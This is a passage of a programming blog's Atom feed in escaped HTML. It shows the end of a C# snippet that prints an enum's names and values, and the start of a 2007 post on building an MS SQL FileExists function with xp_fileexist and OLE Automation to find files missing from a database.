class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)).&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ToString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;,&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;Sometimes you want to list an &lt;code&gt;Enum&lt;/code&gt; and see what it&#39;s actual numeric values are...&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well sometimes &lt;em&gt;I&lt;/em&gt; do anyway, and when I do, I use:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ListEnum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Type&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;enum &amp;#34;&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Name&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;{&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;foo&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetNames&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;Array&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;bar&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetValues&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_enum&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;foo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;++)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;foo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34; = &amp;#34;&lt;/span&gt; &lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)).&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ToString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;,&amp;#34;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;Console&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WriteLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;}&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Code Snippet: SQL FileExists</title>
		<id>https://blog.thoward37.me/articles/code-snippet-sql-fileexists</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/code-snippet-sql-fileexists" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/code-snippet-sql-fileexists" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/code-snippet-sql-fileexists" type="text/html"></link>
		<published>2007-02-14T23:46:00+00:00</published>
		<updated>2007-02-14T23:46:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Today in the course of my work, I came across a situation where some of the files referred to in our SQL database were not actually on disk where we thought they were.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;This was a largeish database of files (over 10,000), and we thought there might be as many as 1600 files missing, so I didn&#39;t want to go through each one manually to find the missing files. That led me to this solution: creating a function in SQL to check if the files exist.&lt;/p&gt;&#xA;&lt;p&gt;The first method I tried for doing this used an undocumented system stored procedure in MSSQL, called &lt;code&gt;xp_fileexist&lt;/code&gt;. The code for that looks like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- using MSSQL built-in stored proc xp_fileexist&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;CREATE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FUNCTION&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FileExists&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;varchar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;255&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;RETURNS&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;BIT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;AS&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;BEGIN&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;DECLARE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;EXEC&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;master&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;..&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;xp_fileexist&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;RETURN&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;END&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It&#39;s a pretty simple wrapper around the stored-procedure. Implementing it as a function provides a more versatile tool for querying however, as shown in this example usage:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;--- usage&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tbl_FileInformation&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;WHERE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dbo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FileExists&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;PathAndFile&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;True&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Unfortunately, this didn&#39;t do the trick for us at that time. MS SQL server apparently cannot, under any circumstances, see mapped drives. All of our data was on a drive called &lt;code&gt;P:&lt;/code&gt;, which was mapped to a network accessible storage device, that our whole company uses. Not to be discouraged, I thought to myself &amp;quot;Well, perhaps it&#39;s just a limitation of the &lt;code&gt;xp_cmdshell&lt;/code&gt; options, not SQL server as a whole. May there&#39;s another way of finding this out...&amp;quot;. So that led me to write this next function, which uses &lt;code&gt;Scripting.FileSystemObject&lt;/code&gt; via the OLE Automation Options. First things first, I needed to run the following commands to enable OLE Automation, to make it possible:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- configuring for use of scripting object&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_configure&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;show advanced options&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;GO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RECONFIGURE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;GO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;sp_configure&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;Ole Automation Procedures&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;GO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;RECONFIGURE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;GO&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&#39;s the SQL native way, the other option is to use &lt;code&gt;Surface Area Configuartion&lt;/code&gt; and enable it via the check-box. Once that was out of the way, I could try out my function...&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;-- Using the scripting object&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;CREATE&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FUNCTION&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FileExists&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;File&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;varchar&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;255&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;RETURNS&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;BIT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;AS&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;BEGIN&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;declare&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;objFSys&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;declare&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;@&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;&lt;/span&gt;&lt;span 